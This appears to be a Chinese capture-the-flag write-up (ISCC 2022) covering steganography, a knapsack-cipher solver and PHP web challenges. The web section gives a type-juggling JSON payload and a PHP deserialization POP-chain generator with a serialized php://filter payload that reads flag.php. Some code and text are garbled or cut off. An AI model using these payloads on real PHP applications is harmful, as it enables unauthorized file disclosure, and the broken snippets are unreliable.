练武wp:
MISC
2022冬奥会
图片在kali在没有显示缩略图的情况下,其宽度和高度修改
修改图片长度后,以下是一些&#x编码,这是html实体编码unicode解码得到 冰敦敦的朋友经常被忽视。你知道他的原型是什么吗? 灯笼是雪容融的原型 得到一个jpg把文件拖到010editor里得到flag 通过这个话题,我学会了html实体编码,以及如何修改图片的长度和宽度。
苏一鸣,单板少将
图片010editor修改高宽,下面有二维码 ,扫描二维码 得到unicode编码的东西,
\u5728\u8fd9\u6b21\u51ac\u5965\u4f1a\u7684\u821e\u53f0\u4e0a\uff0c\u6211\u56fd\u5c0f\u5c06\u82cf\u7fca\u9e23\u65a9\u83b7\u4e00\u91d1\u4e00\u94f6\uff0c\u90a3\u4f60\u77e5\u9053\u6b64\u6b21\u51ac\u5965\u4f1a\u6211\u56fd\u603b\u5171\u83b7\u5f97\u51e0\u679a\u5956\u724c\u5417\uff1f\u53c8\u5206\u522b\u662f\u51e0\u91d1\u51e0\u94f6\u51e0\u94dc\u5462\uff1f
然后解码,让我猜冬奥会有几枚奖牌,有几枚金牌、银牌和铜牌。 分别是 15 9 4 2 这些数字合并了压缩包密码。 打开就是flag。 学会修改图片的高低,学会收获这个话题Unicode编码。
隐秘的信息
给你的信息base64解密,解密 easy_to_find_the_flag 这是压缩包密码 里面有一张照片,LSB隐写,利用stegsolve查看 前九行,十六制转二进制
ASCII代码的二进制表达是从 0000 0000 开始,到 0111 1111 结束, 1位16进制数表示4位2进制数,例如16进制12进制表示001。转换应注意 111111010010010101001101000011010000110111101101010000011001100011010001000011011000100100110001110000011101100110101101100001010110000110010001101110001100100111001000110101011010010110100101001111011100110111110111111111000000000111111000000000000111111111111111111111000111111000111111111000000000111111111111000000000111000111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111011110001000100100000111100001100001101001001110001100111111101 ASCLL代码使用指定的七位或八位二进制数组合来表示128或256种可能的组合。 所以,针对ASCII修改码的形式后,得到它 0100100101010011010000110100001101111011010100000110011000110100010000110110001001001100011100000111011001101011011000010101100001100100011011100011001001110010001101010110100101101001010011110111001101111101 转换后得到flag 这个话题收获了lsb隐写一些操作,然后ASCII代码的二进制表达是从 0000 0000 开始,到 0111 1111 结束, 一位十六进制数表示四位二进制数,十六进制的十二进制表示0001,ascll代码使用指定的七位或八位二进制数组合来表示128或256种可能的组合。
降维打击
图片通过010editor打开,发现图片头部是89 50 4E 然后发现最后也有一个 89 50 4E 47, 然后在010提取下面的16进制文本editor中打开,保存图片位置,发现有一张图片。 利用zsteg查看黑白图片的每个通道lsb
发现有一个png,输出出来
将得到的png图片可以通过对比魔女文字获得flag 图片的头部是89 50 4E 47.通过16进制保存图片,我学会了zsteg隐写,
藏在星空中的诗-1
将图片经过ps打开,将透明度拉到最高。 1、3、5、2、4的顺序 又看到txt有特殊符号和有序号 提示最好使用赛题WinRAR,所以猜测密码是五排符号,按照13524的顺序得到xlsx文件密码。发现是字母和字符的对照图片。  flag_unicode_hex=[str(hex(ord(i))).upper() for i in flag_enc if i!=“\”] final_flag_unicode=“” for i in range(len(flag_unicode_hex)): # if i%20 and i0: # final_flag_unicode =“\u00” flag_unicode_hex[i][-1] if i%2==0: final_flag_unicode =“\u00” flag_unicode_hex[i][-1] else: final_flag_unicode =flag_unicode_hex[i][-1] print(json.lods(‘“%s”’ %final_flag_unicode))
这个题目学会了将星星转为十六进制数,将十六进制数再转化为ascll码表,题目还不错。
## 小光学AI
题目是让结合机器学习的方法分析像素点的比值。
所给的附件中给出了训练集(training_images),password和flag.zip。训练集中给出了上百张图片和xml文件,xml文件中记录了数据xmin,xmax,ymin,ymax。
计算像素脚本:
```python
import os
import sys
def get_sum(C:\Desktop\ISCC):
sum = 0
for root, dirs, files in os.walk(path):
for file in files:
if file.endswith('.jpg'):
file_path = os.path.join(root, file)
sum += get_pixel_sum(file_path)
return sum
def get_pixel_sum(file_path):
sum = 0
with open(file_path, 'rb') as f:
for line in f:
sum += len(line)
return sum
if __name__ == '__main__':
path = 'mushroom/'
sum = get_sum(path)
print(sum)
通过手动计算,得到爆破字典
a = 34700
b = 46000
c = 56000
f = open("dict1.txt","w+")
for i in range(5000):
for j in range(5000):
for k in range(5000):
f.write(str(a+i) + ":" + str(b+j) + ":" + str(c+k)+'\n')
爆破字典得到打开压缩包获得flag:37035:49380:61725
套中套
密码隐藏在那张图片里,补全png格式再修改高可以获的一部分, flag1: wELC0m3_ 然后拖到stegsolove, flag1: wELC0m3_T0_tH3 用winhex打开,最后有一段base64,解密 flag1和flag2合起来wELC0m3_T0_tH3_ISCC_Zo2z
#!/usr/bin/python
import random
import codecs
import gmpy2
import sys
import os
def getRandom(randomlength=4):
digits="0123456789"
ascii_letters="abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
str_list =[random.choice(digits +ascii_letters) for i in range(randomlength)]
random_str =''.join(str_list)
return random_str
def makeKey(n):
privKey = [random.randint(1, 4**n)]
s = privKey[0]
for i in range(1, n):
privKey.append(random.randint(s + 1, 4**(n + i)))
s += privKey[i]
q = random.randint(privKey[n-1] + 1, 2*privKey[n-1])
r = random.randint(1, q)
while gmpy2.gcd(r, q) != 1:
r = random.randint(1, q)
pubKey = [ r*w % q for w in privKey ]
return privKey, q, r, pubKey
def encrypt(msg, pubKey):
msg_bit = msg
n = len(pubKey)
cipher = 0
i = 0
for bit in msg_bit:
cipher += int(bit)*pubKey[i]
i += 1
return bin(cipher)[2:]
flaggg=open('ffalg.txt','w')
# secret = input('Plz input the FLAG to generate the question.')
for i in range(50):
fe = open('enc.txt', 'w')
fpub = open('pub.Key', 'w')
fpriv = open('priv.Key', 'w')
fq = open('q.txt', 'w')
fr = open('r.txt', 'w')
print(i)
tt="ISCC{"
for j in range(3):
temp=getRandom()
tt=tt+temp+'-'
secret = tt[:-1]+'}'
flaggg.write(secret)
flaggg.write('\n')
msg_bit = bin(int(codecs.encode(secret.encode(), 'hex'), 16))[2:]
keyPair = makeKey(len(msg_bit))
pub_str = '['+', '.join([str(i) for i in keyPair[3]]) + ']'
fpub.write(pub_str)
#print ('pub.Key: ' + pub_str)
enc = encrypt(msg_bit, keyPair[3])
#print ('enc: ' + str(int(enc, 2)))
fe.write(str(int(enc, 2)))
priv_str = '['+', '.join([str(i) for i in keyPair[0]]) + ']'
#print ('priv.Key: ' + priv_str)
fpriv.write(priv_str)
#print('q: ' + str(keyPair[1]))
fq.write(str(keyPair[1]))
#print('r: ' + str(keyPair[2]))
fr.write(str(keyPair[2]))
name="misc-example-"+str(i+1)+".zip"
fe.close()
fpub.close()
fpriv.close()
fq.close()
fr.close()
os.system("zip -r -P'wELC0m3_T0_tH3_ISCC_Zo2z' tzt2.zip enc.txt generator.py priv.Key pub.Key q.txt r.txt")
os.system("zip -r ./output/{}.zip tzt.png tzt2.zip".format(name))
flaggg.close()
加密部分:
def encrypt(msg, pubKey):
msg_bit = msg
n = len(pubKey)
cipher = 0
i = 0
for bit in msg_bit:
cipher += int(bit)*pubKey[i]
i += 1
return bin(cipher)[2:]
这里就可以知道cipher就是选择若干个pubKey相加,而选择哪一方相加是由明文决定 如果但从这里看,可以尝试暴力说不定可以,不过很明显不靠谱 然后看看密钥的生成
def makeKey(n):
privKey = [random.randint(1, 4**n)]
s = privKey[0]
for i in range(1, n):
privKey.append(random.randint(s + 1, 4**(n + i)))
s += privKey[i]
q = random.randint(privKey[n-1] + 1, 2*privKey[n-1])
r = random.randint(1, q)
while gmpy2.gcd(r, q) != 1:
r = random.randint(1, q)
pubKey = [ r*w % q for w in privKey ]
return privKey, q, r, pubKey
得到的信息 公钥生成方式是r*w %q 私钥是递增的并且大于之前私钥数之和 q大于最后一个私钥 首先可以先乘上逆元r,将cipher转换为在q上的私钥运算 q大于所有私钥之和,私钥是递增的,大于之前私钥之和。所以很明显 ,对于任意的prikey_i,如果加入cipher,它的地位是唯一的,也就是加上它 cipher > prikey_i 不加上它 cipher < prikey_i(从最大的prikey开始判断) 可以写出最一般的情况解
for i in range(1):
r =
enc =
q =
#enc = encrypt(msg_bit, keyPair[3],keyPair[0],q)
key =
enc = (enc*gmpy2.invert(r,q))%q
flag = ''
for i in range(len(key)-1,-1,-1):
if enc - key[i] > 0:
enc -= key[i]
flag =flag+'1'
else:
flag+='0'
print(long_to_bytes(int(str(flag[::-1]),2)))
还有考虑一种特殊情况,就是之前的私钥值加上最后一个私钥值大于q的情况
此时需要先减去最后一个私钥值(mod q),之后同上
for i in range(1):
r =
enc =
q =
#enc = encrypt(msg_bit, keyPair[3],keyPair[0],q)
key =
enc = (enc*gmpy2.invert(r,q))%q
flag = ''
enc = (enc-key[-1])%q
flag+='1'
for i in range(len(key)-2,-1,-1):
if enc - key[i] > 0:
enc -= key[i]
flag =flag+'1'
else:
flag+='0'
print(long_to_bytes(int(str(flag[::-1]),2)))
这个题目确实是套中套,公钥生成方式是r*w %q,私钥是递增的并且大于之前私钥数之和,q大于最后一个私钥,首先可以先乘上逆元r,将cipher转换为在q上的私钥运算。题目挺有意思。增加了对密码学的见识。
WEB
冬奥会
源码:
<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);
if(is_array($info)){
var_dump($info);
is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}
if($Step1 && $Step2){
include "2022flag.php";echo $flag;
}
?>
//array(0) { }
代码审计,是get传参information 要求’year’为2022 'item’为三个☞的数组 并且第[1]和的值是数组 因为是JSON_decode所以格式是{“key1”:obj ",“key2”:“obj2”…} ?Information={“year”:“2022a”,“items”:[“gh”,[“asaf”,“qweas”],0]}
这个题目收获了json数据的格式,以及三个等于号和两个等于号的区别。
Pop2022
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
题目的流程: Road_is_Long.wakeup.page $page->new Road_is_Long $string->new Make_a_Change $effort->new Try_Work_Hard $var->php://filter/read=convert.base64-encode/resource=flag.php
payload
<?php
class Try_Work_Hard {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Make_a_Change{
public $effort;
}
class Road_is_Long{
public $page;
public $string;
public function __construct(){
$this->string = new Make_a_Change();
}
}
$a = new Road_is_Long;
$a->page = new Road_is_Long();
$a->page->string->effort = new Try_Work_Hard();
echo urlencode(serialize($a));
?>
?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BN%3B%7D%7D
通过这个题目收获了php序列化和反序列化。还有php伪协议读取文件内容。
这是一道代码审计题
打开出现一个/index查看源代码,提示要传参url。 发现这个文件。 这是表情解密 http://www.atoolbox.net/Tool.php?Id=937,然后得到
def geneSign(): if(control_key==1): return render_template("index.html") else: return "You have not access to this page!" def check_ssrf(url 标签:
5w15kr电阻